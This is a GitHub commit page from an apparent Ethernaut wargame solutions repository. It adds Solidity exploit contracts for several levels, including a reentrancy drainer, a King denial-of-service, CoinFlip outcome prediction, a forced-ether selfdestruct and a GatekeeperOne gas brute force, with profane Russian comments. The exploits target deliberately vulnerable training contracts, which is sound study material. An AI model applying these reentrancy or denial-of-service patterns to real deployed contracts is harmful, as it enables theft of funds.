Skip to content

Commit

Permalink
make lev-solutions great again
Browse files Browse the repository at this point in the history
  • Loading branch information
levsgit authored and 0xgleb committed Aug 8, 2023
1 parent 296392a commit 4d50f58
Show file tree
Hide file tree
Showing 42 changed files with 5,665 additions and 34 deletions.
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
1) bind-attack
2) cargo test -p attack -- --nocapture


# DEX OFFENDER

A compilation of smart contract wargames (currently only Ethernaut and DamnVulnerableDeFi). You can find the levels in `./contracts/$GAME_NAME` and add your solution to `./attack/src/$GAME_NAME/hack*.rs`.
Expand Down Expand Up @@ -98,7 +102,7 @@ impl ctf::Exploit for Exploit {
// This is how you "connect" to a deployed contract. You can see how it was deployed
// in ./ctf/src/ethernaut/lvl01_fallback.rs
let contract =
Fallback::new(target.contract_address, offender.clone());
Fallback::new(target.address, offender.clone());

// This is how you call a contract function with no arguments:
contract.contribute().value(1).send().await?.await?;
Expand Down
60 changes: 60 additions & 0 deletions attack/contracts/ethernaut/CoinFlipExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 3: CoinFlip
*
* This is a coin flipping game where you need to build up your winning streak by
* guessing the outcome of a coin flip. To complete this target you'll need to
* use your psychic abilities to guess the correct outcome 10 times in a row.
*/
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract HackCoinFlip {
CoinFlip public coinContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _coin) public {
coinContract = CoinFlip(_coin);
}

function guess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == true) {
coinContract.flip(true);
} else {
coinContract.flip(false);
}
}
}
44 changes: 44 additions & 0 deletions attack/contracts/ethernaut/ElevatorExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract BuildingContract is Building {
address public owner;
Elevator public original;
bool is_first = true;

constructor(address payable _to) public {
owner = msg.sender;
original = Elevator(_to);
}

function gogo() public {
original.goTo(666);
}

function isLastFloor(uint256) public returns (bool) {
if (is_first) {
is_first = false;
return false;
} else {
return true;
}
}
}
40 changes: 40 additions & 0 deletions attack/contracts/ethernaut/ForceExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 7: Force
*
* Some contracts will simply not take your money ¯\_(ツ)_/¯
*
* The goal of this level is to make the balance of the contract greater than zero.
*
* Things that might help:
* - Fallback methods
* - Sometimes the best way to attack a contract is with another contract.
*/
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

contract MoneyGiver {
address public owner;
uint256 public balance = 0;
address payable forceAddress;

constructor(address _forceAddress) {
owner = msg.sender;
forceAddress = payable(_forceAddress);
}

function deposit() external payable {
balance += msg.value;
}

function boom() public payable {
selfdestruct(forceAddress);
}
}
86 changes: 86 additions & 0 deletions attack/contracts/ethernaut/GatekeeperOneExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 13: Gatekeeper One
*
* Make it past the gatekeeper and register as an entrant to pass this level.
*
* Things that might help:
* - Remember what you've learned from the Telephone and Token levels.
* - You can learn more about the gasleft() function in Solidity documentation.
*/
contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
//первые 4 байта(первые 16 байт) == первые 2 байта (первые 16 байт)
//uint64(bytes 8) -- конвертирует 8 байт в число без потери и приобритения данных, потому что uint64 = 2^64 = (2^8)^8
//uint32(uint64) -- обрубает первые 4 байта информации, то есть мы получаем только последние 4 байта от bytes8
//uint16(uint64) -- обрубает первые 6 байтов, выходит 2 последних
//uint160 = 20 байт = длина адреса в эфире
//первые 4 байта != первым 16 байтам
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract LetMeIn {
address public owner;
GatekeeperOne public original;

constructor(address payable _to) public {
owner = msg.sender;
original = GatekeeperOne(_to);
}

function go_inside(address aublyat) public payable returns (bool) {
/*значит так ебать, первый реквайр говорит, что последние 4 байта
должны совпасть с 2 последними байтами, поэтому у нас они будут 0000FFFF
второй реквайр говорит, что последние 4 байта не равны первым 8. Чтобы
его выполнить нам надо, чтобы первые 4 байта все вместе не равнялись 0.
Для этого сделаем их 01010101
третий реквайр говорит, что последние 2 байта адреса должны совпасть
с первыми 4 байтами ключа. Для этого мы сделаем последние 2 байта ключа
равными последним 2 байтам адреса, тогда будет 0000(XX)(YY), где XX и YY -
байты ключа
Выходит, что 0x0101010100000000 -- пустые последние 4 байта + второй реквайр
+ uint16(uint160(aublyat)) -- прибавляем последние 2 байта ключа
на выходе имеем 0x010101010000(XX)(YY)
И ЭТА ЕБАЛА ДОЛЖНА УДОВЛЕТВОРЯТЬ ВСЕМ УСЛОВИЯМ, СУКА
Мои тесты рекваеров показывали, что ломается третье условие. Я не понимаю почему.
*/
bytes8 key = bytes8(0x0101010100000000 + uint16(uint160(aublyat)));
for (uint256 i = 0; i <= 8191; i++) {
/*тут тупо брутфорсим необходимое число газа, хули нам, бобрам */
try original.enter{gas: 500000 + i}(key) {
return true;
} catch {}
}
}
}
61 changes: 61 additions & 0 deletions attack/contracts/ethernaut/KingExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 9: King
*
* The contract below represents a very simple game: whoever sends it an amount
* of ether that is larger than the current prize becomes the new king. On such
* an event, the overthrown king gets paid the new prize, making a bit of ether
* in the process! As ponzi as it gets xD
*
* Such a fun game. Your goal is to break it.
*
* When you submit the instance back to the level, the level is going to reclaim
* kingship. You will beat the level if you can avoid such a self proclamation.
*/
contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

contract KingHack {
address public owner;
address payable forceAddress;

constructor(address _forceAddress) {
owner = msg.sender;
forceAddress = payable(_forceAddress);
}

function give_money() public payable {
/*Just money*/
}

function to_be_the_king(address payable who) public payable {
(bool sent, bytes memory data) = who.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}

receive() external payable {
require(false, "I don't need your dirty money");
}
}
40 changes: 40 additions & 0 deletions attack/contracts/ethernaut/ReentrancyExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface Reentrance {
function donate(address _to) external payable;

function balanceOf(address _who) external view returns (uint256 balance);

function withdraw(uint256 _amount) external;
}

contract RepeatPlease {
address public owner;
Reentrance public original;
uint256 public amount = 9003000000000000001;

constructor(address payable _to) public {
owner = msg.sender;
original = Reentrance(_to);
}

function give_money() public payable {
/*Just money*/
}

function donate() public {
original.donate{value: amount, gas: 400000}(address(this));
original.withdraw(amount);
}

function balance() public view returns (uint256 balanceee) {
return address(original).balance;
}

receive() external payable {
if (address(original).balance != 0) {
original.withdraw(amount);
}
}
}
28 changes: 28 additions & 0 deletions attack/contracts/ethernaut/TelephoneExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 4: Telephone
*
* The goal of this level is for you to claim ownership of the instance you are given.
*
* Things that might help
* - Look into Solidity's documentation on the delegatecall low level function,
* how it works, how it can be used to delegate operations to on-chain libraries,
* and what implications it has on execution scope.
* - Fallback methods
* - Method ids
*/
contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Loading

0 comments on commit 4d50f58

Please sign in to comment.